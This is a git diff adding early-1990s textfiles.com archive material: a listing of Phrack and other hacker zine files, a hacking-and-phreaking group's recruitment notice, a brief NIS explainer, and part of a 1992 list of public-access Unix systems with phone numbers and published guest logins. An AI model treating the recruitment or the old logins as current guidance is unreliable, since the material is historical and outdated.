Jan 2 17:07 phrack03 +-r--r--r-- 1 kusumoto 93420 Jan 2 17:07 phrack04 +-r--r--r-- 1 kusumoto 123015 Jan 2 17:07 phrack05 +-r--r--r-- 1 kusumoto 274892 Jan 2 17:07 phrack06 +-r--r--r-- 1 kusumoto 94983 Jan 2 17:07 phrack07 +-r--r--r-- 1 kusumoto 110494 Jan 2 17:07 phrack08 +-r--r--r-- 1 kusumoto 93993 Jan 2 17:07 phrack09 +-r--r--r-- 1 kusumoto 86448 Jan 2 17:07 phrack10 +-r--r--r-- 1 kusumoto 121103 Jan 2 17:07 phrack11 +-r--r--r-- 1 kusumoto 113158 Jan 2 17:07 phrack12 +-r--r--r-- 1 kusumoto 91400 Jan 2 17:07 phrack13 +-r--r--r-- 1 kusumoto 99398 Jan 2 17:07 phrack14 +-r--r--r-- 1 kusumoto 68481 Jan 2 17:07 phrack15 +-r--r--r-- 1 kusumoto 68112 Jan 2 17:07 phrack16 +-r--r--r-- 1 kusumoto 129662 Jan 2 17:07 phrack17 +-r--r--r-- 1 kusumoto 146763 Jan 2 17:07 phrack18 +-r--r--r-- 1 kusumoto 73530 Jan 2 17:07 phrack19 +-r--r--r-- 1 kusumoto 321607 Jan 2 17:07 phrack20 +-r--r--r-- 1 kusumoto 237367 Jan 2 17:07 phrack21 +-r--r--r-- 1 kusumoto 255579 Jan 2 17:07 phrack22 +-r--r--r-- 1 kusumoto 173968 Jan 2 17:07 phrack23 +-r--r--r-- 1 kusumoto 209817 Jan 2 17:07 phrack24 +-r--r--r-- 1 kusumoto 194781 Jan 2 17:07 phrack25 +-r--r--r-- 1 kusumoto 218735 Jan 2 17:07 phrack26 +-r--r--r-- 1 kusumoto 294816 Jan 2 17:07 phrack27 +-r--r--r-- 1 kusumoto 231529 Jan 2 17:07 phrack28 +-r--r--r-- 1 kusumoto 235777 Jan 2 17:07 phrack29 +-r--r--r-- 1 kusumoto 220015 Jan 2 17:07 phrack30 +-r--r--r-- 1 kusumoto 166188 Jan 2 17:07 phrack31 +-r--r--r-- 1 kusumoto 336568 Jan 2 17:07 phrack32 + +phun: +total 857 +-rw-r--r-- 1 kusumoto 334 May 28 23:42 Index +-r--r--r-- 1 kusumoto 81603 Jan 2 17:06 phun1 +-r--r--r-- 1 kusumoto 151367 Jan 2 17:06 phun2 +-r--r--r-- 1 kusumoto 241514 Jan 2 17:06 phun3 +-r--r--r-- 1 kusumoto 207097 Jan 2 17:06 phun4 +-r--r--r-- 1 kusumoto 140588 Jan 2 17:07 phun5 + +pirate: +total 758 +-rw-r--r-- 1 kusumoto 352 May 28 23:42 Index +-r--r--r-- 1 kusumoto 94932 Jan 2 17:07 pirate.1 +-r--r--r-- 1 kusumoto 205948 Jan 2 17:07 pirate.2 +-r--r--r-- 1 kusumoto 136370 Jan 2 17:07 pirate.3 +-r--r--r-- 1 kusumoto 171304 Jan 2 17:07 pirate.4 +-r--r--r-- 1 kusumoto 115472 Jan 2 17:07 pirate.5 + +ppp: +total 31 +-rw-r--r-- 1 kusumoto 302 Jun 13 23:20 Index +-r--r--r-- 1 kusumoto 8449 May 29 14:58 ppp.1 +-r--r--r-- 1 kusumoto 21077 May 29 14:53 ppp.2 + +school: +total 198 +-rw-r--r-- 1 kusumoto 5441 May 28 23:42 Index +-r--r--r-- 1 kusumoto 3367 Jan 25 17:44 Other.info +-r--r--r-- 1 kusumoto 15060 Jan 25 17:43 acadia.policy +-r--r--r-- 1 kusumoto 4530 Jan 25 17:43 baylor.policy +-r--r--r-- 1 kusumoto 4891 Jan 25 17:43 boston.u.policy +-r--r--r-- 1 kusumoto 8632 Jan 25 17:43 colgate.u.policy +-r--r--r-- 1 kusumoto 4963 Jan 25 17:43 columbia.u.policy +-r--r--r-- 1 kusumoto 4463 Jan 25 17:43 dan.webster.policy +-r--r--r-- 1 kusumoto 7962 Jan 25 17:43 jmadison.u.policy +-r--r--r-- 1 kusumoto 6483 Jan 25 17:43 kansas.state.policy +-r--r--r-- 1 kusumoto 12699 Jan 25 17:43 mich.st.u.policy +-r--r--r-- 1 kusumoto 7906 Jan 25 17:43 mich.tech.u.policy +-r--r--r-- 1 kusumoto 4236 Jan 25 17:43 new.castle.u.policy +-r--r--r-- 1 kusumoto 8138 Jan 25 17:43 new.mex.st.u.policy +-r--r--r-- 1 kusumoto 1394 May 28 23:31 ocf.bylaws +-r--r--r-- 1 kusumoto 14491 May 28 23:32 ocf.constitution +-r--r--r-- 1 kusumoto 11185 May 28 23:27 purdue.cc.policy +-r--r--r-- 1 kusumoto 10026 Jan 25 17:43 purdue.ecn.policy +-r--r--r-- 1 kusumoto 5878 Jan 25 17:43 riacs.policy +-r--r--r-- 1 kusumoto 4715 Jan 25 17:43 rose.hulman.cs.policy +-r--r--r-- 1 kusumoto 1714 Jan 25 17:43 u.idaho.policy +-r--r--r-- 1 kusumoto 7298 Jan 25 17:43 u.missouri.c.policy +-r--r--r-- 1 kusumoto 2509 Jan 25 17:43 u.missouri.kc.policy +-r--r--r-- 1 kusumoto 4080 Jan 25 17:43 u.missouri.rolla.policy +-r--r--r-- 1 kusumoto 8165 Jan 25 17:43 u.new.mexico.policy +-r--r--r-- 1 kusumoto 2697 Jan 25 17:43 u.pitt.policy +-r--r--r-- 1 kusumoto 3425 Jan 25 17:43 u.wales.policy +-r--r--r-- 1 kusumoto 4883 Jan 25 17:43 umc.cs.policy +-r--r--r-- 1 kusumoto 8624 Jan 25 17:43 wash.u.engr.policy + +synd: +total 258 +-rw-r--r-- 1 kusumoto 617 May 28 23:42 Index +-r--r--r-- 1 kusumoto 6680 Jan 2 17:07 synd01 +-r--r--r-- 1 kusumoto 6229 Jan 2 17:07 synd02 +-r--r--r-- 1 kusumoto 5458 Jan 2 17:07 synd03 +-r--r--r-- 1 kusumoto 8166 Jan 2 17:07 synd04 +-r--r--r-- 1 kusumoto 8584 Jan 2 17:07 synd05 +-r--r--r-- 1 kusumoto 11428 Jan 2 17:07 synd06 +-r--r--r-- 1 kusumoto 9445 Jan 2 17:07 synd07 +-r--r--r-- 1 kusumoto 11365 Jan 2 17:07 synd08 +-r--r--r-- 1 kusumoto 11970 Jan 2 17:07 synd09 +-r--r--r-- 1 kusumoto 11371 Jan 2 17:07 synd10 +-r--r--r-- 1 kusumoto 10383 Jan 2 17:07 synd11 +-r--r--r-- 1 kusumoto 11274 Jan 2 17:07 synd12 +-r--r--r-- 1 kusumoto 8245 Jan 2 17:07 synd13a +-r--r--r-- 1 kusumoto 14850 Jan 2 17:07 synd13b +-r--r--r-- 1 kusumoto 17365 Jan 2 17:07 synd14 +-r--r--r-- 1 kusumoto 15540 Jan 2 17:07 synd15a +-r--r--r-- 1 kusumoto 13036 Jan 2 17:07 synd15b +-r--r--r-- 1 kusumoto 15181 Jan 2 17:07 synd16a +-r--r--r-- 1 kusumoto 14446 Jan 21 17:57 synd17 +-r--r--r-- 1 kusumoto 20068 Jan 2 17:07 synd20a +-r--r--r-- 1 kusumoto 18740 Jan 2 17:07 synd20b + +tap: +total 249 +-rw-r--r-- 1 kusumoto 286 May 28 23:42 Index +-r--r--r-- 1 kusumoto 239001 Feb 28 17:50 tap.1 +================= + + ___ ___ ___ ___ ___________ + | \ | |\ | |\ | |\ | |\ + | \ | | | | | | | | | | ___ | | + | \ | | | | |_|_| | | | |\ _| | | + | \| | | | | | | |_|_| | | + | |\ | | | ___ | | | ___ | | + | | \ | | | |\ _| | | | |\ _| | | + | | |\ | | | | | | | | | | | | | | + | | | | | | | | | | | | | | | | | | + |___| | |___| | |___| | |___| | |___| | |___| | + \___\| \___\| \___\| \___\| \___\| \___\| + + - A Production of the NetWork Hacker Alliance INC - + + PreZidents:Inphiniti & Code of Honor & Cobra + + NHA Member Boards Listing + +=+=+=+=+=+=+=+=+=+=+=+=+ + +---------------------+---------------+-------------+---------+ + | Inphiniti's Edge | 216-662-5115 | NHA *WHQ* | NoT | + | Project Phusion | 301-365-9249 | NHA Node 1 | NoT | + | Realm of Chaos | 516-466-8259 | NHA Node 2 | Ex-NASTY| + +---------------------+---------------+-------------+---------+ + + + NHA is now accepting applications.. If you are intrested + and knowledgable in the Hacking of Networks and Phreaking + etc, please call your fine H/p bbs system and download + 'NHA-APP.TXT' and upload it to Inphiniti's Edge. + + more to come from N.H.A. diff --git a/textfiles.com/internet/nis.txt b/textfiles.com/internet/nis.txt new file mode 100644 index 00000000..1de87e8a --- /dev/null +++ b/textfiles.com/internet/nis.txt @@ -0,0 +1,27 @@ +NIS Explained +by Virtual Circuit and Psychotic + +NIS or Network Information Systems is a concept of unix that users need to +learn. NIS used to be called the "Yellow Pages" until somebody pointed out +that it was the trademark of the phone company. + +When a company has to many workstations the best way to set them up is to +have them connect and share files by means of NFS. Then you should give +access to the machines to your users so that they will have one large +system. Keeping all the workstations' administrative information organized +is a small problem. A password file was given to each individual system in +order to list the users and a set of mount points or directories. In 50 +workstations, when the system added a new users those user had to be added +to 50 seperate password files, etc. The only way to ease this problem was +to use NIS. It puts nearly all of the administrative information in one +place that is roganized by NIS. It makes all the availlable workstation +accessable by each of the new users. This works out very well. After the +administrator updates the master files the database can get clumsy and out +of sync. This is usually caused by the admin regenerating the NIS database +and accidently making a mistake.The design of NIS makes it possible to +create security holes. The computers are accesible to only a small group of +users but it makes it easy for one of the million internet hackers to break +in. + +You work from here. I'll update this text later with more info on this +system setup. diff --git a/textfiles.com/internet/nixpub b/textfiles.com/internet/nixpub new file mode 100644 index 00000000..7e2ecf90 --- /dev/null +++ b/textfiles.com/internet/nixpub @@ -0,0 +1,946 @@ + + + nixpub long listing + Open Access UNIX (*NIX) Sites [both Fee and No Fee] + [ May 20, 1992 ] + +Systems listed (127) + [ abode actrix admiral agora alchemy alphacm amaranth ] + [ anomaly anubis aquila atrium banana barbage bdt ] + [ bigtex bitsko bluemoon btr bucket cavebbs cellar ] + [ chinet cinnet compnect conexch coyote cpumagic cruzio ] + [ ddsw1 dhw68k digex dircon disk dorsaidm edsi ] + [ eklektik eskimo fcsys gagme gator genesis gna ] + [ gold gorn grebyn halcyon hcs highlite ibmpcug ] + [ ichlibix isys-hh ixgch jabber jack jwt kb2ear ] + [ kcbbs kralizec latour loft386 lopez lunapark lunatix ] + [ m-net m2xenix madnix magpie marob medsys micor ] + [ mindlink mixcom mv ncoast neis netcom nuchat ] + [ nucleus nyx oldcolo pallas panix pnet01 pnet12 ] + [ pnet51 point polari portal quack raider rock ] + [ sactoh0 scuzzy sdf sir-alan sixhub stanton starnet ] + [ stb sugar szebra taronga techbook telesys telly ] + [ tmsoft tnc tronsbox unixland uunet uuwest vicstoy ] + [ visual vpnet wa9aek wariat wb3ffv well wet ] + [ wolves woodowl world wybbs wyvern xroads xtc ] + [ zorch ] + +Updated +Last Telephone # Sys-name Location Baud Hours +----- ------------ -------- ----------- ------- ----- + +12/91 201-759-8450^ tronsbox Belleville NJ 3/12/24/96 24 + Generic 386, UNIX 3.2; Provides shell for some users, USENET, E-Mail + (feeds available) at $15 a month flat; + Multiple line (-8568 300 - 2400 baud). + +04/92 203-661-1279 admiral Greenwich CT 3/12/24/96 24 + SCO Unix 3.2.2. (HST/V32) 203-661-2873, (PEP/V32) 203-661-1279, (V32) + 203-661-0450, (MNP6) 203-661-2967. Magpie BBS for local conversation + and Waffle for Internet mail/Usenet news. Interactive chat and games. + BBS name is "The Grid." Willing to give newsfeeds and mail access. + Shell (tcsh, ksh avail) accounts available at no charge. Direct connect + to Internet site (Yale) via UUCP. 230 megs disk space. For more information + contact uunet!admiral!doug (Doug Fields) or fields-doug@cs.yale.edu. + +09/91 206-328-4944^ polari Seattle WA 12 24 + Equip ???; 8-lines, Trailblazer on 206-328-1468; $50/year (flat rate); + Multi-user games, chat, full USENET. + Contact: bruceki%polari.uucp@sumax.seattleu.edu + +05/91 206-367-3837^ eskimo Seattle WA 3/12/24 24 + Tandy 6000 Xenix - Everett Tel 206-742-1150; 10 lines; First 2 weeks + free, $48/year or $6/month thereafter; Shell access, C, Fortran, Pascal, + unique conference, smart mail, UseNet News, messages, upload/download, + other apps; + Western Washington BBS List, 60 games online, free uucp connections. + +01692 206-382-6245 halcyon Seattle WA 3/12/24/96 24 + ULTRIX 4.1, (PEP/V.32) 206-382-6245 (four lines); annual fee schedule: + mail only $50, news/mail $100, shell $150 (will include direct Internet + services around 1 June 1992); monthly rates $5, $10, $15, respectively. + No time limits. Full news feed. No uucp accounts. Waffle bbs support. + login as 'bbs' and provide account information. For more information, + contact: info@halcyon.com, or call voice (Pacific Standard Time, USA) + +1 206 426 9298 + +12/90 212-420-0527^ magpie NYC NY 3/12/24/96 24 + ? - UNIX SYSV - 2, Magpie BBS, no fee, Authors: Magpie/UNIX,/MSDOS + two lines plus anonymous uucp: 212-677-9487 (9600 bps Telebit modem) + NOTE: 9487 reserved for registered Magpie sysops & anon uucp + Contact: Steve Manes, {rutgers|cmcl2|uunet}!hombre!magpie!manes + +11/91 212-431-1944^ dorsaidm NYC NY 3/12/24/96 24 + 80386, ISC 386/ix, Waffle bbs; 3 phone lines (unknown 9600 bps access); + no shell (yet); BBS with over 250 non-Usenet newsgroups, 1.2 gb of mac, + ibm, amiga, cp-m, appleII, cbm files; BBS is free, $25/yr for UseNet + access, (180 min/day), $50/yr for extended gold access (300 min/day); + Full news and mail feed from uupsi; login through bbs. + Contact: uupsi!dorsaidm!ssegan + +12/90 212-675-7059^ marob NYC NY 3/12/24/96 24 + 386 SCO-XENIX 2.2, XBBS, no fee, limit 60 min. + Telebit Trailblazer (9600 PEP) only 212-675-8438 + Contact: {philabs|rutgers|cmcl2}!{phri|hombre}!marob!clifford + +12/91 214-254-3404 neis Dallas TX 3/12/24/96 24 + Tandy 4000 - Microcom V96/ax 214-254-3404; Fee structure based on usage; + Shell access, games, C, USENET News, BBS, Downloads, Messages, Internet + access, Internet and News Feeds available. Other programmed apps available. + Contact: Chris Molnar {uunet!nstar!neis!molnar molnar@neis.nstar.rn.com} + Anon UUCP: Login: uucp NO PASSWORD + +04/92 214-436-3281^ sdf Dallas TX 3/12/24/96 24 + i386-25, ISC SysVr3.2 UNIX; 4-way rotary at 436-3281, 2400bps except + PEP on 436-5935. Unrestricted free shell access, PinkBBS available. + Operated and funded entirely by users. 500MB on-line storage. + 1000+ newsgroup full feed. Internet mail. On-line software includes + emacs, trn, nn, elm, nethack, tinyMUD, etc. Mail and news feeds + available. + Contact iczer@sdf.lonestar.org (Ted Uhlemann). + +01/92 215-348-9727 jabber Doylestown PA 3/12/24/96 24 + 80386, ISC 386/ix 2.21; Trailblazer+ on dial in line; No fee services: + "*NIX Depot" BBS, BBS for UNIX/Xenix users; Fee services: Shell accounts + and UUCP feeds, both provide access to Internet E-mail and full USENET News; + Anonymous UUCP available for access to the latest nixpub lists, please see + the footer of this list for more details; + Contact: Phil Eschallier (phil@ls.com). + anon-uucp: ogin: nuucp (No passwd) + +11/91 215-654-9184^ cellar Horsham PA 3/12/24/96 24 + DTK 386/33, SCO Unix 3.2, Waffle BBS - The Cellar BBS, no shell; USR + Dual-Standard modems, three lines and growing. BBS is free; net news + (full feed) and net mail by subscription. $7/mo, $35/6-mo, or $60/yr. + +05/92 216-481-9445 wariat Cleveland OH 3/12/24/96 24 + ISC Unix SysV/386; USR DS on 932-3708, T-3000 on 932-3224. Shell and + UUCP/Internet mail access availble. News and mail feeds are + available; also, DOS and UNIX files. Ananymous uucp: login: nuucp, + no password; request /x/files/ls-lR.Z; nuucp account does not allow + mail exchange; UnixBBS distribution point. BBS free (with e-mail) + for shell/uucp/newsfeed donation requested. For details, e-mail to: + zbig@wariat.org (Zbigniew Tyrlik) + +12/90 216-582-2460^ ncoast Cleveland OH 12/24/96 24 + 80386 Mylex, SCO Xenix; 600 meg. storage; XBBS and Shell; USENET + (newsfeeds available), E-Mail; donations requested; login as "bbs" + for BBS and "makeuser" for new users. + Telebit used on 216-237-5486. + +07/91 217-789-7888 pallas Springfield IL 3/12/24/96 24 + AT&T 6386, 600 meg disk space; 4 lines w/ USRobotics Dual Standard modems; + BBS available at no fee (UBBS), shell access for $50/year; E-Mail, Usenet; + "guest" login available. + +05/92 219-289-0282 gator South Bend IN 24/96 24 + SVR4 4.0 - 10 lines, USR HST DS with V.32/HST/v.42bis/v.32bis (219-289-0282), + PEP/MNP5 on 219-289-0775 (4 Telebit PEP modems). 4.2 gigs of unix/dos files, + GNU archives along with SIMTEL20/UUNET archives. 2129 newsgroups, newsfeeds + & email forwarding. BBS software is very easy to use. Shells available 9/92 + for $100/year. BBS accounts $35/year; Also available in the 317 area + code at 317-251-7391 (4 lines) [PC-Pursuitable in the 317 area]. + Contact larry@gator.rn.com, uunet!trauma!larry or larry@trauma.rn.com + +04/92 301-220-0462^ digex Greenbelt MD 3/12/24 24 + SUN 3/160, SunOS 3.5: Shell, full Usenet, email, GNU utilites and Emacs. + Express Access Public Access Unix for Washington and Baltimore -- + additional lines serve entire area. Directly fed from UUPSI. Fees: + $15/month or $150/yr for up to 1 hr/day and 2 megabyte quota. + Contact: info@digex.com + +04/92 301-953-7233 highlite Laurel MD 12/24/96 24 + 80486 system, ISC 2.2.1/UNIX SVR 3.2; monthly fee; Usenet news subjects, + E-mail, shell access, on-line registration, DC metro phone (301)953-7233, + Communications settings: 8 data bits, no parity, 1 stop bit/8N1. + login: guest + password: guest + Contact: uunet!highlite!dlreed + +07/91 303-871-4824^ nyx Denver CO 3/12/24 24 + Equip Pyramid; Public domain file area, private file area, games, Provides + shell for some users, USENET, E-Mail, Multiple line. + Contact: Andrew Burt, aburt@isis.cs.du.edu + +01/92 309-676-0409 hcs Peoria IL 3/12/24/96 24 + VAX/BSD SGI/SV Network - Public Access UNIX Systems - Mult.Lines / 1.8GB + Linked 386 bbs (Free). Network Fee structure based on usage with $0.02 + minute connection. Shells (sh,ksh,csh,tcsh,bash) Compilers (C,Pascal, + Fortran,Lisp,Ratfor oths), games, File and Pic. Libs., UUCP and USENET + access with NetNews (nn reader), U.S. Patent and other databases, + general timesharing and programmed on-line applications. Self register. + Contact: Victoria Kee {uunet!hcsvax!sysop sysop%hcsvax@uunet.uu.net} + +01/92 310-397-3137^ stb Santa Monica CA 3/12/24/96 24 + AT&T 3b1; BBS and shell access; uucp-anon: ogin: uucp NO PASSWD + 3 line on rotary -3137 2400 baud (Telebit on dial in line). + +08/91 312-248-0900 ddsw1 Chicago IL 3/12/24/96 24 + 80386 systems, ISC 2.2; guest users 1 hr daily in AKCS BBS; fee for + shell, Full Usenet access, unlimited use, and offsite mail; Authors + of AKCS bbs; 1.5GB storage, fee $75/year or $20/bi-monthly, 19200 + V.32/PEP available on (312) 248-6295 anonymous uucp (nuucp) from + 12 midnight to 6 AM, ~/DIRECTORY/README for info on anon uucp. + Newsfeeds and mail connections available; Internet access in the + works (PLEASE contact us if interested). + Contact: Karl Denninger (karl@ddsw1.MCS.COM) + +04/90 312-283-0559^ chinet Chicago IL 3/12/24/96 24 + '386, SysVr3.2.1; Multiple lines including Telebit and HST; + Picospan BBS (free), USENET at $50/year (available to guests on + weekends). + +10/89 312-338-0632^ point Chicago IL 3/12/24/96 24 + North Shore / Rogers Park area of Chicago. 386 - ISC 2.01 (SysV3.2), + multiple lines, Telebit PEP on 338-3261, USRobotics HST on 338-1036, + AKCS bbs, some usenet conferences available. 200+ MB online storage. + Downloads, full usenet & shell access in the works. + +12/91 312-714-8568^ gagme Chicago IL 12/24/96 24 + 3B2/400 - System V 3.2. E-mail, netnews, sources, access to anonymous + ftp, GIFs, UUCP, local message base, games, etc. PEP and V.32 available + for logins and UUCP. Contact greg@gagme.chi.il.us for more information. + +06/90 313-623-6309 nucleus Clarkston MI 12/24 24 + AMI 80386 - ESIX 5.3.2, large online sources archive accessable by + anonymous UUCP, login: nuucp, nucleus!/user/src/LISTING lists + available public domain/shareware source code. Contact: jeff@nucleus.mi.org + +04/92 313-996-4644^ m-net Ann Arbor MI 3/12/24 24 + Altos 68020 - Sys III, no limits; merged with Arbornet; non-profit + organization; tax deductable donations accepted; fee for extended service; + Picospan software; 15 lines, 160 Megs, 100% user supported; on-line games + (including nethack, empire, and rotisserie baseball); E-Mail; UUCP accounts + available; C compiler, multi-user party, access to Bourne, Korn, C, BBS & + Menu; on-line man pages; login access via Internet: + "telnet m-net.ann-arbor.mi.us". + contact: help@m-net.ann-arbor.mi.us + +08/90 401-455-0347 anomaly Esmond RI 3/12/24/96 24 + CSS Laboratories 386, SCO Xenix 2.3.2; Trailblazer+; No fees; Waffle BBS, + newusers log in as 'bbs' (no pw.) Shell accounts available to qualified + users. USENET feeds available, limited feeds for non-PEP sites. XENIX + software archive site, anonymous uucp login: xxcp pass: xenix + Software listing & download directions in ~/SOFTLIST and ~/ARCHELP + +09/91 407-299-3661^ vicstoy Orlando FL 12/24 24 + ISC 386/ix 2.0.2. Partial USENET, e-mail (feeds available); Login as + bbs, no passwd (8N1); Free shell access; Orlando BBS list, games; + cu to Minix 1.5.10 system (weather permitting); USENET includes + Unix/Minix source groups. Contact: uunet!tarpit!bilver!vicstoy!vickde + or vickde@vicstoy.UUCP (Vick De Giorgio). + +01/92 407-438-7138^ jwt Orlando FL 12/24/96 24 + 80386/33, System V.3.2, Waffle BBS, no shell access, two lines, V.32, + V.32bis, PEP, Usenet news, no fee, login as "bbs". + Contact: john@jwt.UUCP (John W. Temples) + +01/92 408-241-9760^ netcom San Jose CA 12/24/96 24 + UNIX, Sun Network SunOS 4.1; Netcom - Online Communication Services; + 70 Telebit lines V.32/V.42 9600/2400/; USENET (16 days), Lrg archive, + News/Mail Feeds, Shell, Internet (ftp, telnet, irc), Slip Connections, + Local access via CALNet San Jose, Palo Alto, Red Wd Cty, San Fran, + Oklnd, Berkly, Alameda, Plesanton Fee $17.50/mo + Reg fee of $15.00. + Login: guest (510)865-9004, (408)241-9760,(415)424-0131,(510)426-6860 + Just Say No to connect fees, Login as guest (no password). + +09/89 408-245-7726^ uuwest Sunnyvale CA 3/12/24 24 + SCO-XENIX, Waffle. No fee, USENET news (news.*, music, comics, telecom, etc) + The Dark Side of the Moon BBS. This system has been in operation since 1985. + Login: new Contact: (UUCP) ames!uuwest!request (Domain) request@darkside.com + +01/92 408-249-9630^ quack Santa Clara CA 3/12/24/96 24 + Sun 3/160, SunOS 4.1.1; Aka - The Duck Pond; BBS at no charge, + 3 lines: -9631 PEP, -9632 v.32bis/v.42bis, all 3 lines MNP 1-4; + Shell - $5/mo; login: bbs. + Contact: postmaster@quack.sac.ca.us + +02/92 408-254-0246^ zorch San Jose CA 12/24/96 24 + ISI 020 - 4.3BSD; 4 lines, more soon, PEP on 408-254-3470; $10/month, + $100/year, flat rate, no time limit. Email, USENET, games, utilities, + online man pages, Bourne, C, TC, Korn shells. 800M online, 100M source + archive. Registration req'd, free trial; login as newuser, password public. + Contact: scott@zorch.SF-Bay.ORG or (ames|pyramid|vsi1)!zorch!scott + +08/91 408-423-9995 cruzio Santa Cruz CA 12/24 24 + Tandy 4000, Xenix 2.3.*, Caucus 3.*; focus on Santa Cruz activity + (ie directory of community and goverment organizations, events, ...); + USENET Support; Multiple lines; no shell; fee: $15/quarter. + Contact: ...!uunet!cruzio!chris + +04/92 408-458-2289 gorn Santa Cruz CA 3/12/24/96 24 + Everex 386, SCO xenix 2.3.2; 2 lines, -2837 telebit for PEP connects; + Standard shell access, games, email injection into the internet, up to + date archive of scruz-sysops information, upload/download, usenet news + including scruz.* heircarchy for santa cruz area information; UUCP set + up on as-requested; No charge, donations accepted; newuser: log in as + ``gorn'' and fill out online form. + Contact: falcon@gorn.echo.com + +11/91 408-725-0561^ portal Cupertino CA 3/12/24/96 24 + Networked Suns (SunOS), multiple lines, Telenet access, no shell access + fees: $13.95/month + Telenet charges (if used) @ various rates/times + conferencing, multi user chats, usenet, computer special interest groups + +11/91 408-739-1520^ szebra Sunnyvale CA 3/12/24/96 24 + 386PC, AT&T SVR4v3; Trailblazer+; Full Usenet News, email (Internet & UUCP), + first time users login: bbs, shell access/files storage/email available + (registration required); GNU, X11R4 and R5 source archives. viet-net/SCV + and VNese files/sftware archives. + contact: tin@szebra.Saigon.COM or {claris,zorch,sonyusa}!szebra!tin + +04/92 410-625-0817 wb3ffv Baltimore MD 12/24/96 24 + 80486, UNIX V.3.2.x; XBBS for HAM radio enthusiasts; 800 meg online; + Multiple lines, dial in - Multitech V32, 9482 - USR HST DS V.32bis/42bis, + 9663 - Tb+; Some USENET; Anon-UUCP available; Login as bbs (8-N-1). + +06/91 412-431-8649^ eklektik Pittsburgh PA 3/12/24 24 + UNIX PC- SYSV - UNaXcess BBS, donation requested for shell, + login: bbs for BBS, limited Usenet news (amiga and gaming groups). + RPG mailing list, rec.games.frp and rec.music.dylan archive. + Alternate number: 431-3064, + Contact: anthony@eklektik.pgh.pa.us or anthony@cs.pitt.edu + +04/92 414-241-5469^ mixcom Milwaukee WI 12/24/96 24 + 80386, SCO UNIX 3.2; MIX (Milwaukee Internet eXchange); $9/mo + access to Internet services including email, Usenet BBS and file + archives; MIX has comprehensive and easy to use menus, along with + shell access; Multiple lines; login as 'newuser' password 'newuser'. + Contact: Dean Roth (sysop@mixcom.com) [414-962-8172 voice] + +09/91 414-734-2499 edsi Appleton WI 3/12/24 24 + IBM PS/2 Model 55SX, SCO Xenix 2.3.2; Running STARBASE II Software. + Enterprise Data Systems Incorporated (Non-profit). 100+ local rooms, + PLUS USENET, Multi Channel Chat, 9 ports, $15 yr, flat rate for full + access to net news, mail. The Fox Valley's only public access Unix + based BBS. Contact: Chuck Tomasi (chuck@edsi.plexus.COM) + +10/91 415-332-6106^ well Sausalito CA 12/24 24 + 6-processor Sequent Balance (32032); UUCP and USENET access; multiple + lines; access via CPN; PICOSPAN BBS; $10/mo + $2/hr (CPN about $4.50/hr); + Contact (415) 332-4335 + +06/91 415-826-0397^ wet San Francisco CA 12/24 24 + 386 SYS V.3. Wetware Diversions. $15 registration, $0.01/minute. + Public Access UNIX System: uucp, PicoSpan bbs, full Usenet News, + Multiple lines (6), shell access. Newusers get initial credit! + contact:{ucsfcca|hoptoad|well}!wet!editor (Eric Swanson) + +04/91 415-949-3133^ starnet Los Altos CA 3/12/24/96 24 + SunOS 4.1. 8-lines. MNP1-5 and v42/bis, or PEP on all lines. + Shell access for all users. USENET--900+ groups. E-mail (feeds + available). smart mail. Publically available software (pd/shareware). + $12/mo. Contact: admin@starnet.uucp or ...!uunet!apple!starnet!admin + +12/91 415-967-9443^ btr Mountain View CA 3/12/24/96 24 + Sun (SunOS UNIX), shell access, e-mail, netnews, uucp, can access by + Telenet PC Pursuit, multiple lines, Telebit, flat rate: $12.50/month. + For sign-up information please send e-mail to Customer Service at + cs@btr.com or ..!{decwrl,fernwood,mips}!btr!cs + or call 415-966-1429 Voice. + +11/89 416-452-0926 telly Brampton ON 12/24/96 24 + 386 SysVr3.2; proprietary menu-based BBS includes Usenet site searching. + News (all groups, incl biz, pubnet, gnu, CanConfMail), mail (including + to/from Internet, Bitnet), many archives. Feeds available. $75(Cdn)/year. + Contact: Evan Leibovitch, evan@telly.on.ca, uunet!attcan!telly!evan + +12/88 416-461-2608 tmsoft Toronto ON 3/12/24/96 24 + NS32016, Sys5r2, shell; news+mail $30/mo, general-timesharing $60/mo + All newsgroups. Willing to setup mail/news connections. + Archives:comp.sources.{unix,games,x,misc} + Contact: Dave Mason / Login: newuser + +02/90 502-957-4200 disk Louisville KY 3/12/24 24 + 386 clone, Interactive System V 3.2, 600 meg. 6 lines with rollover. + Carrying most USENET groups, Shell access, multi-user games( including + The Realm(c) ) multi-user chat, downloads, and more. Rate info available + via a free trial account. mail feeds to the local Now reachable via + Starlink! + +08/91 503-254-0458^ bucket Portland OR 3/12/24/96 24 + Tektronix 6130, UTek 3.0(4.2bsd-derived). Bit Bucket BBS no longer + online. Modem is Telebit Trailblazer+ (PEP). Users intereseted in + access to Unix should send EMail to rickb@pail.rain.com. Services + include USENET News, EMail (fast due to local Internet access), and + access to all tools/utilities/games. UUCP connections (1200, 2400, + 9600V.32, 9600PEP, 19200PEP) available (through another local system + which is not publically available) to sites which will poll with + reasonable regularity and reliability. + +02/91 503-297-3211^ m2xenix Portland OR 3/12/24/96 24 + '386/20, Xenix 2.3. 2 Lines (-0935); Shell accounts available, NO BBS; + No fee; E-mail, USENET News, program development. + Contact: ...!uunet!m2xenix!news or on Fido at 297-9145 + +03/91 503-640-4262^ agora PDX OR 12/24/96 24 + Intel Unix V/386, $2/mo or $20/yr, news, mail, games, programming. + Three lines with trunk-hunt. The first two are 12/24, the third + line (648-7596) is 9600/V.32/V.42bis. Agora is part of RainNet. + Contact: Alan Batie, batie@agora.rain.com + +11/91 503-644-8135^ techbook Portland OR 12/24/96 24 + Seven phone lines. Hardware is an 80386 running UNIX V.3.2; V.32 and + Telebit modems available. Free email and news to all callers provided + by PDaXcess BBS running Waffle 1.64 software. Registered users get + shell accounts & access to archives. Carries full set of Usenet groups + & many FidoNet areas. Registered users pay $50/year or $30/six months. + System answers at 8-N-1; login as BBS. + +04/92 508-655-3848 unixland Natick MA 12/24/96 24 + 5 lines supporting various protocols (call for details). Esix 5.3.2.D + (SYSVR3), 486/33, 16mb, 1GB of disk space. Usenet news (1900+ groups). + Unix shell accounts available - {$70/year; $40/6 Months} for full access + (Usenet, Email, Unix utilities, etc). Free BBS access to limited number + of newsgroups. UUCP accounts available for a nominal charge. + Contact: bill@unixland.natick.ma.us or Bill Heiser + PO Box 104, Needham, MA 02192 + +01/92 508-664-0149 genesis North Reading MA 12/24/96 24 + Gateway 2000 386/25, Minix-386; Three lines; Internet mail; Usenet News; + Multi-user chat, games; Shell access and menu system; Full access to all + users; No Fees; 200 megabytes; One hop from the Internet; HST & V.32. + Contact: steve1@genesis.nred.ma.us (Steve 